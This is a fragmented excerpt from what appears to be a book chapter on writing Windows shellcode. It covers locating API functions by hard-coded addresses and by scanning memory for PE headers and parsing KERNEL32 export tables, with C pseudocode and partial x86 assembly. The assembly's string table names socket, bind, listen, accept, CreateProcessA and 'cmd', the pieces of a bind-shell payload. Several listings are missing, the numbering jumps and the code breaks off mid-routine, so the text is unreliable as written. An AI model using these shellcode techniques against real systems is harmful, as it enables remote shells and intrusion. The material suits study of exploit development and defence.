Documente Academic
Documente Profesional
Documente Cultură
Drawbacks of Hard-Encoding
Nothing can be simpler that calling API functions by absolute addresses. Having chosen a
function (for instance, let it be the GetCurrentThreadId function exported by
KERNEL32.DLL), process it with the DUMPBIN utility supplied as part of practically any
compiler. Having recognized Relative Virtual Address (RVA) of the required function, it is
necessary to add it to the base load address, reported by DUMPBIN. As a result, absolute
address of the function will be obtained.
The complete session of working with the DUMPBIN utility appears as shown in Listing
11.3.
Listing 11.4. Direct call to the API function by its absolute address
h = LoadLibraryA("ws2_32.DLL");
if (h != 0) __error__;
zzz = GetProcAddress(h, "connect");
Thus, the task of calling an arbitrary function is reduced to searching addresses of the
LoadLibraryA and GetProcAddress functions.
1
Base load address of these DLLs is constant for a given OS version
Direct Search in the Memory
The most universal, portable and reliable method of determining addresses of API functions
consists in scanning the address space of the process to find PE signatures and subsequent
parsing of the export table.
Set the pointer to C0000000h (upper boundary of the user space for Windows 2000
Advanced Server and Datacenter Server, started with the /3GB boot parameter) or to
80000000h (upper boundary of the user space for all the other systems).
Check the pointer availability by means of calling the IsBadReadPrt function exported by
KERNEL32.DLL, or set the custom SEH handler to prevent the system crash (detailed
information on handling structured exceptions was provided in Chapter 5). If there is the
MZ signature, increase the pointer by 3Ch bytes, retrieving the e_lfanew double word,
which contains the offset of the PE signature. If this signature is actually detected, then the
base load address of the dynamic module has been found, and it is possible to proceed with
parsing the export table, from where it is necessary to retrieve the addresses of the
GetLoadLibraryA and GetProcAddress functions. Knowing these addresses, it will be
possible to retrieve all the remaining information. If at least one of the above-mentioned
conditions hasn't been observed, then it is necessary to decrease the pointer by 10000h and
repeat the entire procedure (base load addresses are always multiples of 10000h, therefore,
this technique is legal). Pseudocode that carries out searching for the base addresses of all
loaded modules by PE signature is shown in Listing 11.6.
Listing 11.6. Pseudocode that carries out searching of the base addresses of all loaded
modules by PE signature
while(pBaseAddress) // loop
{
// Check the address for availability for reading
if (!IsBadReadPtr(pBaseAddress, 2))
// Is this MZ?
if (*(WORD*)pBaseAddress == 0x5A4D)
// Is pointer to PE valid?
if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)), 4))
// Is this PE?
if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550)
call here
db "GetProcAddress",0,"LoadLibraryA",0
db "CreateProcessA",0,"ExitProcess",0
db "ws2_32",0,"WSASocketA",0
db "bind",0,"listen",0,"accept",0
db "cmd",0
here:
pop edx
push edx
mov ebx,77F00000h
l1:
cmp dword ptr [ebx],905A4Dh ;/x90ZM
je l2
;db 74h,03h
dec ebx
jmp l1
l2:
mov esi,dword ptr [ebx+3Ch]
add esi,ebx
mov esi,dword ptr [esi+78h]
add esi,ebx
mov edi,dword ptr [esi+20h]
add edi,ebx
mov ecx,dword ptr [esi+14h]
push esi
xor eax,eax
l4:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx
mov esi,edx
xor ecx,ecx
;GetProcAddress
mov cl,0Eh
repe cmps
pop ecx
pop edi
je l3
add edi,4
inc eax
loop l4
jmp ecx
l3:
pop esi
mov edx,dword ptr [esi+24h]
add edx,ebx
shl eax,1
add eax,edx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov edx,dword ptr [eax]
add edx,ebx
pop esi
mov edi,esi
xor ecx,ecx
;Get 3 Addr
mov cl,3
call loadaddr
add esi,0Ch
The main drawback of this method consists in its bulkiness. Recall that the maximum
allowed size of the shell code is limited. Unfortunately, however, nothing better has been
invented till nowadays. Search for the base address also can be optimized. In fact, in the
next few sections I will demonstrate how is it possible to do this. However, parsing the
export table cannot be avoided. This is inevitable payment for the mobility of the shell
code.
Listing 11.8. Determining the base address of KERNEL32.DLL by means of analyzing PEB
Listing 11.9. Determining base address of KERNEL32.DLL via SEH. The base address is
returned in the EAX register
Native API
The use of "naked" Native API (also known as raw API) is considered as a kind of hacking
"aerobatics". In fact, however, this is not just. On the contrary, using such perversions
without a reason is the indication of amateurish approach. This is not only because Native
API functions are undocumented and subject to constant changes, but also because they are
unsuitable for direct use (that's why they are called "row"). Actually, these functions are
"half-products", implementing low-level primitives, a kind of building blocks, which
require large amount of "coupling" code. Individual examples of implementation of such a
code can be found in NTDLL.DLL and KERNEL32.DLL.
In Windows NT access to native API functions is carried out through the int 2Eh
interrupt. The interrupt number is loaded into the EAX register, and the address of the
parameters block with argument is loaded into the EDX register. In Windows XP the
sysenter machine command is used for the same purpose, however, main properties of
the int 2Eh have been fully preserved (at least, for the moment).
The most interesting native API functions used in shell codes are listed in Listing 11.10.
Table 11.1. Comparative information about different methods of searching for addresses of API
functions
2
Naturally, Windows 9x also has native API, however, it is different from that of Windows
NT/2000/XP native API